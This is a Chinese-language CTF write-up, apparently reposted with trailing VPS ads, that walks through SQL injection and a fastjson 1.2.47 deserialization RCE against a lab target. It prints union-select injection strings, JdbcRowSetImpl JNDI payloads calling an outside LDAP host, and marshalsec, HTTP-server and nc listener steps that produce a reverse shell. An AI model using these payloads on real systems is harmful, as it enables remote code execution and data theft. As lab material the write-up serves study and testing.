如何进行fastjson反序列化漏洞的分析

这期内容当中小编将会给大家带来有关如何进行fastjson反序列化漏洞的分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

0x01:写在前面

拿到题目后,一开始通过审计代码发现代码

审计发现一个注入,dbname我们可控

尝试注入

dbName=myapp#' and 1=2 union select name from myapp.user;#
dbName=myapp#' and 1=2 union select pwd from myapp.user;#

注入处账户密码留作备用(后面思路转变为exp后发现 上面账号密码没有用)

admin

admin@Rrrr_ctf_asde

然后经过逆向注意到导入了

io.swagger.annotations.ApiOperation;

发现是个swagger

Swagger在平时日常工作中用过是个优秀的文档编辑器

那么直接访问swagger-ui.html

这里想到swagger还有fastjson库 可以将java对象转换成json

19年爆出很多rce漏洞。尝试进行查看

网上查询fastjson得知存在rce漏洞

这个文章真的写的非常详细,可以说是手把手教学

https://github.com/CaijiOrz/fastjson-1.2.47-RCE

看到如下

这里很符合fastjson的反序列化漏洞的json格式

访问得知如下

按着一步一步操作来,首先准备云服务器,并将仓库文件上传到云服务器中。

上传成功以后进行如下操作

首先进行测试

云服务器监听7777端口

在靶场执行

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}

发现有流量回显

那就继续按照文档往下做。

Cd进去进行查看

修改exploit.java的ip为云服务器ip

Javac Exploit.java编译执行后得到Exploit.class

继续进行按照如下步骤继续执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

http://121.36.19.222/#Exploit

执行成功如下所示,进行监听本地端口1389

python -m SimpleHTTPServer 80

Nc 监听本地的8888端口

提交payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}

执行后成功

成功弹到shell ,

执行cat /flag可以得到如下flag

0x02:总结

日常实战中,喜欢burp带上fastjson的检测脚本,遇到可疑的就发包检测一下。显示有漏洞就尝试payload打一下dnslog试试回显,再进一步进行深挖。

上述就是小编为大家分享的如何进行fastjson反序列化漏洞的分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注云搜网行业资讯频道。


【AD】美国洛杉矶/香港/日本VPS推荐,回程电信CN2 GIA线路,延迟低、稳定性高、免费备份_搬瓦工

【AD】炭云:36元/年/1GB内存/20GB SSD空间/500GB流量/5Gbps端口/KVM/香港/国际线路LUMEN